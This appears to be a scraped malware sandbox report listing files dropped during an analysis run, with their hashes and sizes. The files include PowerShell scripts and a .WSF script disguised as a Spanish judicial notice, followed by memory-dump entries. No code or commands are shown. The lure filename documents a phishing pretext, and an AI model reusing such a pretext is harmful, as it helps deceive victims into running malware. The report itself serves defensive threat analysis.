ed9dc2ee74ef8e9c38dc3b9b69cc8017c45f852f

SHA256
1cf68e03a754ccf443f3a22495117f3b165b80dea82c133ca3a236a21f7890f1

SHA512
a3dc90b1890b5dbafbbe0f8904b14b2b7adf607b1b306088f2e36c896514734d2d09ba13fd7f5d66c345d3a3032b7f633e5df727304f09b068c1b61f3a57e088

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
6d3e9c29fe44e90aae6ed30ccf799ca8

SHA1
c7974ef72264bbdf13a2793ccf1aed11bc565dce

SHA256
2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d

SHA512
60c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
9a9f097131cf0a3486b843bcdbfe297c

SHA1
1e3988e316721aa0e8c6f659fa4e8a0217739028

SHA256
dc773c20d59f6886b1a5b813abc4da6ce98abb0ade60b2ebabb091f55e265abd

SHA512
efc807932ae6ab83d0dfbad3384655a0b44648a163c71f31f7cd9003d7dea83371d08caba46bf6837f99dae2fe201cd902da33c40e37cc7d2671db7d9f79210d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
1c6fde2dec167fbabaa0168aebc5e3ef

SHA1
ee72f321c123219f5c411cca491333af848512e1

SHA256
35076ea62c75739f2f1434d3cdde5f975e332a13210ffab2ab63a975f300fbc9

SHA512
59221096ca0c2311844e5a845bddc0e1050224f1c094592216654342aa90cfd4f15e72927f63412b3b1d3b1960df960dbd6a371fb3d5a113998c7bda72eb07d5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
01d89dd05c27325bbfe34d7a2bc716ad

SHA1
fa0a5ce95e7e989da44face5a736172aba834ddc

SHA256
52bf1aacc2b2f03b2bbdca40b7eff5e041c8f2892575b3bf5cbaa000a02f71e9

SHA512
d7500eae5877d297fec543b607a1e6764ac07002178e92306de9b5a9cc76d9f42cdaa9a2b086ed1d3174c660afa120228affa80a4fb1ac4a430f7028449e0adb

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
5caad758326454b5788ec35315c4c304

SHA1
3aef8dba8042662a7fcf97e51047dc636b4d4724

SHA256
83e613b6dc8d70e3bb67c58535e014f58f3e8b2921e93b55137d799fc8c56391

SHA512
4e0d443cf81e2f49829b0a458a08294bf1bdc0e38d3a938fb8274eeb637d9a688b14c7999dd6b86a31fcec839a9e8c1a9611ed0bbae8bd59caa9dba1e8253693

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
96ff1ee586a153b4e7ce8661cabc0442

SHA1
140d4ff1840cb40601489f3826954386af612136

SHA256
0673399a2f37c89d455e8658c4d30b9248bff1ea47ba40957588e2bc862976e8

SHA512
3404370d0edb4ead4874ce68525dc9bcbc6008003682646e331bf43a06a24a467ace7eff5be701a822d74c7e065d0f6a0ba0e3d6bc505d34d0189373dcacb569

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
446dd1cf97eaba21cf14d03aebc79f27

SHA1
36e4cc7367e0c7b40f4a8ace272941ea46373799

SHA256
a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf

SHA512
a6d754709f30b122112ae30e5ab22486393c5021d33da4d1304c061863d2e1e79e8aeb029cae61261bb77d0e7becd53a7b0106d6ea4368b4c302464e3d941cf7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
b08c623a4c3d593e0197312ee60fd80b

SHA1
d758f831d82d40e2cf2b5303928840fef63c6e08

SHA256
9cec0c20b0888233bb5e426f9b85d4653f8a287e42018b65dc95eb5647193c37

SHA512
0a1b537b268a751eaa5873677faeefb8dad2832112cc2f5d84f24bd9b505ae51da7754acf50843ca3d70b3c33a42590e18a612558ca2f564a3dc881bf2556500

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
44cd935b8b295e024c793a8038cbeed8

SHA1
dd4dfeb934e2e5fc83cb7d3e7c4a10dd5db6a5d3

SHA256
f8f56bbc223c56d860b9f71fb4c5f1809c0be7aae71f6bc0ec2e3b163aa9b3dd

SHA512
9285020e7455e6fc2c235256dcca37a8cf2f341cb09345b1182ca8b43f260dcbb5aca2dfe508d616d9df868daad7e5b7b6b6e1518e4ccca98aed3854eed323d0

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
235a8eb126d835efb2e253459ab8b089

SHA1
293fbf68e6726a5a230c3a42624c01899e35a89f

SHA256
5ffd4a816ae5d1c1a8bdc51d2872b7dd99e9c383c88001d303a6f64a77773686

SHA512
a83d17203b581491e47d65131e1efc8060ff04d1852e3415fc0a341c6a9691ef9f4cf4dd29d2f6d0032a49f2ba4bd36c35b3f472f0ce5f78f4bb139124760e92

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
91a39b91c2b22ff00c12e56878baa09b

SHA1
e19e669a9c2c8fec9fb699c4c76384a105471bda

SHA256
931a2eaa61178581995773a9da78f4bfd76ad27c29b44442fa1329b384a0cd96

SHA512
59df651f9cab1c7b960e22d8207766cef07393b33d42f2b759bf4043cd63f2abaf08f9e1b419c6a126fb51a98468d15d34ba09caac46dfbc1a1b658c513aa2b0

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
0c74fd5ade17aa208411f09050106a00

SHA1
1e8936be1da419c271bf803b7b35bab578c13d2b

SHA256
d4aed3c638ffbeec65bbc43ec9e0eaa7a8c5436f570328c8d4fc780ca5472e15

SHA512
b37931551305ce59f274691fe9dc654a603be217e1b4127d27346e8433892a3721803c53c0593dcc3835f5bac11d63ebabf7e46d3cd64e218d2e3ae5f2ec140e

Download Submit
C:\Users\Admin\AppData\Local\Temp\DLL01.txt

Filesize
31B

MD5
36d679203d698874130c687d50bb0d24

SHA1
23bc68672e2008bf22a5635abb3be25f928f068c

SHA256
862838a8ff9a726119cbb99bc8eceef4d12e7b191199e128f67379b2f0b48abc

SHA512
e955a1a2f91a73c92fdc0d12e8a638b78f9271d0590a730e6d6021f0967d72076fc98013b02bf890822322a708a0bde8473a4f70d4e649bf7e08f807c476eebe

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wc4nynrt.nql.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\dll02.txt

Filesize
59KB

MD5
b7fb976186aca42c391bd960d7376db4

SHA1
5908f897e77617179c0e643fb3c495f051757136

SHA256
7a2d3c88a97db0a111ceb91a49fdc86cc6b500cb9b66ba1358ae21ddcf69a6bb

SHA512
762acd0c6befe0bf1439d5ed78ac0fb4809e9aa5f7db96adebc2523d5ad87d51bf355d898fd1775d8a7362366b3b8543983e76494f69acd96f8ebd4ebfb08d97

Download Submit
C:\Users\Admin\AppData\Local\Temp\dll03.ps1

Filesize
1KB

MD5
176c7c3b03dcc74ab8653a60ac3c4f9d

SHA1
51241cbac574b3a85992e99ca5bae582850756d7

SHA256
1ab87bbfdc88a2eae07e02ac457a82c294d2569d1376a47504c26823b5b55435

SHA512
4d8ee2f88238952c387b19de06b517fcf0917a3daa0c2fac8f044040c6e9a54033831cdfc94dad7b9988be19b85546fdf262a170e51b35bee123dfc7c7b2b017

Download Submit
C:\Users\Admin\AppData\Local\Temp\dll03.ps1

Filesize
1KB

MD5
ab70f67717cc1ae589510f1c204e4026

SHA1
834f41c7d28cb8a88c1a4e5144e0f6169925814e

SHA256
26dd2092a77dcef40837bede3cda403ab832a8afefc95824331bd214c6dd014d

SHA512
c70328bf48f3b476a77c561af923757cbb8e58065ca64ea5ec741ee91e9a5ab90e0c6b388ee8b316d5825b339911d70e74d82538fd55cb0ff6a44009f98d6e49

Download Submit
C:\Users\Admin\AppData\Local\Temp\yifymh.pdf

Filesize
613KB

MD5
237e62f4ed86ca8bb1bc8965c9c64e62

SHA1
c73aa6fe5aa396f74c4bf991454efa49be376bd3

SHA256
745aa39c558eb499fe4a2093ae5d9735a36701443ffe6cb13b13f933c090a609

SHA512
032cd81ad78caa7c760334d6897ddaeee8a0c44ee3a8ddf2551b2fd48869d3531ed40e52f489bff0103c4feb44000794fb8b5db9055a53213d1d003c8fd8d231

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
6KB

MD5
140fd918917188ab4d48f06be7d1cefe

SHA1
492f8c05ffa89fc99f4469fd88145cbceec569f7

SHA256
ef64309cdd7daa97f922e621c24235c3dde8eb7a7d4d26389a1d56b7674fe9fe

SHA512
71074e4413f5ce538127d779998b7b0b307536e00c8410a487d23708f3c646da036331305a502e0aba1fac5624bb96a252e32ae33fa5d0a3ba11ab25991ab0d4

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
6KB

MD5
910d8299406305cc51d75eb7c97f6b90

SHA1
167eaa7e16241f7077e5b4f9fbc7bb82de6a87a0

SHA256
83f5ca31e18bacb89daaf972eba0aecd3e6f271f7fd00c980187e99647e1e1e1

SHA512
1bf6a971a5adcaf15b0816ae3f4e53be6cb0a252a61863f4092cf8572f2929bfdd5ba72f1b614670972cd1973697144011a1da01353bfe1a8c825c11e394ec79

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
6KB

MD5
d064b8c7e9189b804c1e15825530add1

SHA1
ee5eb11bfc0dc46ff316b4e78d23eae7d60409a9

SHA256
b0be2e754738acaedb1d7695a0459c76e26af711a14809a53bdd21ff764f5a0a

SHA512
1b77a7b4b70e3e0b64b97387d90dfce7d650573fc3dcaa17be7a8ea62263f51d8bbdbec5f31918c6cdadbeb668478148052a5ea6f237a23392230f37300b47e8

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
6KB

MD5
2f4fef72d3092783c57eb0497e26d33a

SHA1
fe4e26fba875fc574b7d8835a0a9043ec155cf68

SHA256
dd33682ba9cea27844974be6f3d9518e92152791a6fcd9291fe41b6031459b8c

SHA512
935742af761d707e2efc7f614cc3adbb8f1ed07a159bd081bb6c4a184581d15f308e5e0be1eafac57791739d9c55bc257bf2a15d20e2cb0f173572fa49f3eeb9

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
6KB

MD5
87b15c03775d441f425de2b531927033

SHA1
11dc59917fb5aa68086a1a24f2df30c7d0c369c8

SHA256
f9bbed6534cb3b239bd366cea4d7e9ae40751cca729538fa60ac5ca76d2f16cb

SHA512
1675e2b5f88112af42efa9017d81019493e9663588475d4cd57c0f0e7c41128502d7bd6e7e4e6144d3613919974cbfc1308479fbb11c89b67556f7fad4e34619

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
6KB

MD5
7647f5f0fa92106fbba45654fb2a1995

SHA1
288d77af0e23467fac1b2b342f7fbb1a2fa510ba

SHA256
b88686b9edec76a07350133c5b3637b5d09e5f566eacdfdf9b05182196b2464d

SHA512
be0c79247b83d13c1ebd24fde5891f4083199336a2fce9bcb65fd518f6bb107f7672739eaf0341e769d0dd858f8c95b26beda6b6661ffb118a7f49c0ff24a878

Download Submit
C:\Users\Admin\Downloads\Anexamos a la presente copia del auto a través del cual se requiere para que dé cumplimiento a la notificación electrónica en inicio de la activación del aparato judicial en su contra.WSF

Filesize
34KB

MD5
8ed3a609aceeadbaec3749060f50a41a

SHA1
8c1c864153225c51f4068c5bb7f30d08083960c1

SHA256
9eacdc50b8487e2fc0134b0e2963faa14d098afc18d61a843d7b3c470b9f6377

SHA512
0e6661b0030d2eaaac774221567fb88b79752547b9312f289a4c6c845b13aa4fc244b2f9b7b6114526f9f67a985ec6d07f20c1c954c711bc6fc283ca61c91282

Download Submit
memory/404-154-0x00000174DC200000-0x00000174DC21E000-memory.dmp

Filesize
120KB

Download
memory/1704-170-0x000002319FE40000-0x000002319FE4A000-memory.dmp

Filesize
40KB

Download
memory/3888-224-0x00000259775D0000-0x00000259775DA000-memory.dmp

Filesize
40KB

Download
memory/4504-132-0x000002272B270000-0x000002272B2F2000-memory.dmp

Filesize
520KB

Download
memory/4504-143-0x000002272B210000-0x000002272B220000-memory.dmp

Filesize
64KB

Download
memory/4504-142-0x000002272B230000-0x000002272B252000-memory.dmp

Filesize
136KB

Download
memory/4504-144-0x000002272B640000-0x000002272B742000-memory.dmp

Filesize
1.0MB

Download
memory/4520-501-0x00000000066F0000-0x0000000006700000-memory.dmp

Filesize
64KB

Download
memory/4520-283-0x00000000055C0000-0x000000000565C000-memory.dmp

Filesize
624KB

Download
memory/4520-286-0x00000000061C0000-0x00000000062C2000-memory.dmp

Filesize
1.0MB

Download
memory/4520-326-0x0000000007200000-0x0000000007292000-memory.dmp

Filesize
584KB

Download
memory/4520-285-0x0000000005660000-0x00000000056C6000-memory.dmp

Filesize
408KB

Download
memory/4520-314-0x0000000006C10000-0x0000000006C86000-memory.dmp

Filesize
472KB

Download
memory/4520-284-0x0000000005C10000-0x00000000061B4000-memory.dmp

Filesize
5.6MB

Download
memory/4520-594-0x0000000008690000-0x00000000086A4000-memory.dmp

Filesize
80KB

Download
memory/4520-703-0x0000000007D30000-0x0000000007D40000-memory.dmp

Filesize
64KB

Download
memory/4520-315-0x00000000055B0000-0x00000000055C4000-memory.dmp

Filesize
80KB

Download
memory/4520-225-0x0000000000400000-0x0000000000416000-memory.dmp

Filesize
88KB

Download
memory/4520-1134-0x000000001BD50000-0x000000001BD79000-memory.dmp

Filesize
164KB

Download
memory/4520-1132-0x0000000078540000-0x00000000787BE000-memory.dmp

Filesize
2.5MB

Download
memory/4520-1133-0x00000000787C0000-0x000000007885B000-memory.dmp

Filesize
620KB

Download
memory/4520-1131-0x0000000078340000-0x00000000783F9000-memory.dmp

Filesize
740KB

Download
memory/4520-325-0x0000000006EF0000-0x0000000006F0E000-memory.dmp

Filesize
120KB

Download

Analysis

Sharing

Errors

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads